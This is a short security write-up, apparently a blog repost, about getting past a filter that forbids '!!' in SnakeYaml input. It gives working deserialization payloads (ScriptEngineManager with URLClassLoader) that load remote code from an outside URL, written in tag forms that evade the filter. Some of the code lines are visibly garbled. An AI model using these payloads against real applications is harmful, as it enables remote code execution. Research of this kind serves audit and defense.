A little trick for SnakeYaml deserialization

background

This is a scenario I encountered when doing a code audit project. A yaml parsing function uses snakeyaml to process yaml. In general, snakeyaml can directly perform deserialization attacks. But here it makes a prerequisite-"Do not allow yaml to exist!!".

Anyone who has played the yaml deserialization vulnerability should know it!! It is equivalent to @type in fastjson, which is used to specify the full class name to be deserialized.

Once yaml is missing!! It will no longer be possible to specify malicious deserialization classes, and it will not pose a threat to code execution.

analysis

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [“http://127.0.0.1:2333/”]]]]

This POC is the most common one published online, and all POCs are deserialized based on !!. This also misleads some programmers to think that!! is the cause of deserialization.

image

Take the above picture as an example, the yaml contains!! Failed to pass the verification. So you need to bypass it first!!.

What I thought at first was that fastjson can decode hexadecimal and Unicode internally, but the actual test is not feasible.

image

Although it can handle Unicode, it can only be used as a string, so this idea can only be abandoned.

image

After a series of debugging, I found that each!! modified class has been converted into a TAG.

For example, yaml commonly used types such as set str map are all a TAG, and use a fixed prefix:tag:yaml.org,2002:

public static final String PREFIX = “tag: yaml.org, 2002:”;
public static final Tag YAML = new Tag (“tag: yaml.org, 2002: yaml”);
public static final Tag MERGE = new Tag (“tag: yaml.org, 2002: merge”);
/ /
Public static final Tag STR = new Tag (“tag: yaml.org, 2002: str”);
public static final Tag SEQ = new Tag (“tag: yaml.org, 2002: seq”);
public static final Tag MAP = new Tag (“tag: yaml.org, 2002: map”);

So !!javax.script.ScriptEngineManagerthe TAG istag:yaml.org,2002:javax.script.ScriptEngineManager

I found some tag:yaml.org,2002related documents on the yaml official website .

image

I found it besides!! I thought there were other ways to express TAG.

%YAML 1.1

!!seq [
!<!foo> “bar”,
!<tag:yaml.org,2002:str> “string”
!<tag:ben-kiki.org,2000:type> “baz”
]
# Explicitly specify default settings:
%TAG ! !
%TAG !! tag:yaml.org,2002:
# Named handles have no default:
%TAG !o! tag:ben-kiki.org,2000:

- !foo “bar”
- !!str “string”
- !o!type “baz”

The first is used !<TAG>to represent, only one exclamation point, angle brackets is TAG.

As mentioned earlier!! is used to represent TAG, it will automatically complete the TAG prefixtag:yaml.org,2002:

So if you want to deserialize the malicious class, you need to construct it like this

!<tag:yaml.org,2002:javax.script.ScriptEngineManager> >[!<tag:yaml.org,2002:java.net.URLClassLoader> [[!<tag:yaml.org,2002:java.net.URL> [“http://b1ue.cn/”]]]]

This way you can bypass the restriction that does not allow!!.

image

Let’s look at the second one, you need to %TAGdeclare a TAG in yaml

For example, I declare!tag是 tag:yaml.org,2002:

%DAY ! tag: yaml.org, 2002:

If you call !strit later , you will actually get the TAG prefix together tag:yaml.org,2002:str.

In the end, the deserialization attack payload I constructed is as follows

%TAG ! tag:yaml.org,2002:

!javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL [“http://b1ue.cn/”]]]]

image

Also only used one!, bypassing the limitation of !!.

Guess you like

Origin blog.csdn.net/weixin_43510203/article/details/115276795